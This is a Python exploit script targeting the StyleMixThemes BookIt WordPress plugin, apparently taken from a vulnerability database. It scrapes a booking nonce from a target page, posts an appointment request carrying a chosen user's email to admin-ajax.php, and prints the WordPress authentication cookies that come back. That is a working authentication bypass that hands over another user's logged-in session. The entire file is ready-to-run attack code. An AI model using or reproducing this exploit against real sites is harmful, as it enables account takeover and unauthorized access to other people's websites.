stylemixthemes_bookit_plugin_vdb_get_exploit_cookie.py

#!/usr/bin/python3

import sys
import getopt
import re
import requests
import json
from bs4 import BeautifulSoup


def main(argv):
    website_url = ''
    email = ''
    page = ''

    try:
        opts, args = getopt.getopt(argv, 'hw:e:p:', ['website_url=', 'email=', 'page='])
    except getopt.GetoptError:
        print('stylemixthemes_bookit_plugin_vdb_get_exploit_cookie.py -w <website_url> -e <email> -p <page>')
        sys.exit(2)
    for opt, arg in opts:
        if opt == '-h':
            print('stylemixthemes_bookit_plugin_vdb_get_exploit_cookie.py -w <website_url> -e <email> -p <page>')
            sys.exit()
        elif opt in ('-w', '--website_url'):
            website_url = arg
        elif opt in ('-e', '--email'):
            email = arg
        elif opt in ('-p', '--page'):
            page = arg

    # format url
    website_url = website_url.rstrip('\/')

    # check website url
    if website_url == '':
        print('Please provide the WordPress website URL!')
        sys.exit(2)

    # get nonce value from js
    response = requests.get(website_url + '/' + page)
    soup = BeautifulSoup(response.text, 'html.parser')

    bookit_app_js_element = soup.find('script', {'id': 'bookit-app-js-extra'})
    bookit_app_js = bookit_app_js_element.string

    bookit_window_params_match = re.search(r'var bookit_window = ({.*?});', bookit_app_js)

    if bookit_window_params_match:
        json_string = bookit_window_params_match.group(1)
        data = json.loads(json_string)
        nonce = data['nonces']['bookit_book_appointment']
    else:
        print('Nonce is not found on the website.')
        sys.exit(2)

    # post book appointment
    response = requests.post(website_url + '/wp-admin/admin-ajax.php',
                             headers={'Content-Type': 'application/x-www-form-urlencoded'},
                             data={
                                 'action': 'bookit_book_appointment',
                                 'nonce': nonce,
                                 'email': email,
                                 'password': '-',
                                 'password_confirmation': '-',
                                 'full_name': 'text',
                             })

    # get cookies
    print('Response Cookies:')
    print('')

    for cookie in response.cookies:
        if cookie.name.startswith('wordpress'):
            print('Name: {}'.format(cookie.name))
            print('Value: {}'.format(cookie.value))
            print('Domain: {}'.format(cookie.domain))
            print('Path: {}'.format(cookie.path))
            print('Expires: {}'.format(cookie.expires))
            print('Secure: {}'.format(cookie.secure))
            print('HttpOnly: {}'.format(cookie.has_nonstandard_attr('httponly')))
            print('')


if __name__ == '__main__':
    main(sys.argv[1:])